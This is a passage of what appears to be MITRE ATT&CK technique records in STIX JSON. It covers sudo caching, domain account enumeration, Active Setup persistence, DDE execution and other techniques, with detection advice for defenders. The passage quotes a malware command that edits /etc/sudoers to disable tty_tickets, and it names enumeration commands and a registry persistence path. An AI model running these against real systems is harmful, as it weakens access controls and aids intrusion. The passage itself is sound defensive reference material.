["Malware Repository: Malware Content", "Malware Repository: Malware Metadata"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Casey Smith"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", "type": "attack-pattern", "created": "2017-05-31T21:31:33.499Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1121", "url": "https://attack.mitre.org/techniques/T1121"}, {"url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.", "source_name": "MSDN Regsvcs"}, {"source_name": "MSDN Regasm", "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.", "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"}, {"source_name": "LOLBAS Regsvcs", "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."}, {"description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.", "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", "source_name": "LOLBAS Regasm"}], "modified": "2020-01-31T19:00:30.734Z", "name": "Regsvcs/Regasm", "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", "kill_chain_phases": [{"phase_name": "defense-evasion", "kill_chain_name": "mitre-attack"}, {"phase_name": "execution", "kill_chain_name": "mitre-attack"}], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Process whitelisting", "Digital Certificate Validation"], "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2023-05-04T18:07:16.804Z", "name": "Device Driver Discovery", "description": "Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["ESET"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Process: OS API Execution", "Windows Registry: Windows Registry Key Access"], "type": "attack-pattern", "id": "attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d", "created": "2023-03-28T20:14:49.087Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1652", "external_id": "T1652"}, {"source_name": "lsmod man", "description": "Kerrisk, M. (2022, December 18). lsmod(8) \u2014 Linux manual page. Retrieved March 28, 2023.", "url": "https://man7.org/linux/man-pages/man8/lsmod.8.html"}, {"source_name": "Microsoft Registry Drivers", "description": "Microsoft. (2021, December 14). Registry Trees for Devices and Drivers. Retrieved March 28, 2023.", "url": "https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys"}, {"source_name": "Microsoft EnumDeviceDrivers", "description": "Microsoft. (2021, October 12). EnumDeviceDrivers function (psapi.h). Retrieved March 28, 2023.", "url": "https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers"}, {"source_name": "Microsoft Driverquery", "description": "Microsoft. (n.d.). driverquery. Retrieved March 28, 2023.", "url": "https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery"}, {"source_name": "Linux Kernel Programming", "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"}, {"source_name": "modinfo man", "description": "Russell, R. (n.d.). modinfo(8) - Linux man page. Retrieved March 28, 2023.", "url": "https://linux.die.net/man/8/modinfo"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1206", "url": "https://attack.mitre.org/techniques/T1206"}, {"url": "https://www.sudo.ws/", "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", "source_name": "sudo man page 2018"}, {"url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does", "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.", "source_name": "cybereason osx proton"}], "modified": "2020-02-05T20:10:18.586Z", "name": "Sudo Caching", "description": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>  (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_effective_permissions": ["root"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-15T21:33:57.732Z", "name": "Domain Account", "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)  ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["ExtraHop", "Miriam Wiesner, @miriamxyra, Microsoft Security"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Process: OS API Execution", "Network Traffic: Network Traffic Content", "Group: Group Enumeration"], "type": "attack-pattern", "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "created": "2020-02-21T21:08:26.480Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1087/002", "external_id": "T1087.002"}, {"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T14:17:17.353Z", "name": "Active Setup", "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code>.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Command: Command Execution", "Windows Registry: Windows Registry Key Creation", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification"], "x_mitre_permissions_required": ["Administrator"], "type": "attack-pattern", "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67", "created": "2020-12-18T16:33:13.098Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/014", "external_id": "T1547.014"}, {"source_name": "SECURELIST Bright Star 2015", "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020.", "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/"}, {"source_name": "Mandiant Glyer APT 2010", "description": "Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020.", "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf"}, {"source_name": "FireEye CFR Watering Hole 2012", "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"}, {"source_name": "Klein Active Setup 2010", "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.", "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/"}, {"source_name": "paloalto Tropic Trooper 2016", "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.", "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}, {"source_name": "Citizenlab Packrat 2015", "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.", "url": "https://citizenlab.ca/2015/12/packrat-report/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-29T17:45:48.126Z", "name": "Hide Artifacts", "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Metadata", "Application Log: Application Log Content", "Process: Process Creation", "Command: Command Execution", "File: File Modification", "Firmware: Firmware Modification", "Service: Service Creation", "Windows Registry: Windows Registry Key Modification", "Script: Script Execution", "User Account: User Account Creation", "Process: OS API Execution", "User Account: User Account Metadata", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "created": "2020-02-26T17:41:25.933Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564", "external_id": "T1564"}, {"source_name": "Cybereason OSX Pirrit", "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"}, {"source_name": "MalwareBytes ADS July 2015", "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"}, {"source_name": "Sofacy Komplex Trojan", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}, {"source_name": "Sophos Ragnar May 2020", "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-15T18:57:21.881Z", "name": "Dynamic Data Exchange", "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE, Office Open XML, CSV, and other files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Creation", "Module: Module Load", "Script: Script Execution"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "created": "2020-02-12T14:10:50.699Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1559/002", "external_id": "T1559.002"}, {"source_name": "OWASP CSV Injection", "description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.", "url": "https://owasp.org/www-community/attacks/CSV_Injection"}, {"source_name": "CSV Excel Macro Injection ", "description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.", "url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/"}, {"source_name": "BleepingComputer DDE Disabled in Word Dec 2017", "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"}, {"source_name": "SensePost PS DDE May 2016", "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.", "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"}, {"source_name": "Fireeye Hunting COM June 2019", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"}, {"source_name": "Kettle CSV DDE Aug 2014", "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.", "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"}, {"source_name": "Microsoft ADV170021 Dec 2017", "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"}, {"source_name": "Microsoft DDE Advisory Nov 2017", "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", "url": "https://technet.microsoft.com/library/security/4053440"}, {"source_name": "Enigma Reviving DDE Jan 2018", "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"}, {"source_name": "NVisio Labs DDE Detection Oct 2017", "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.", "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"}, {"source_name": "SensePost MacroLess DDE Oct 2017", "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.", "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-21T12:22:19.740Z", "name": "Malicious File", "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["TruKno"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Creation", "File: File Creation"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "created": "2020-03-11T14:49:36.954Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1204/002", "external_id": "T1204.002"}, {"source_name": "Password Protected Word Docs", "description": "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.", "url": "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f", "type": "attack-pattern", "created": "2020-10-02T16:34:32.435Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1591.003", "url": "https://attack.mitre.org/techniques/T1591/003"}, {"source_name": "ThreatPost Broadvoice Leak", "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:38:31.983Z", "name": "Identify Business Tempo", "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", "type": "attack-pattern", "created": "2017-05-31T21:30:51.330Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1063", "external_id": "T1063"}], "modified": "2020-02-21T21:17:03.347Z", "name": "Security Software Discovery", "description": "Adversaries may 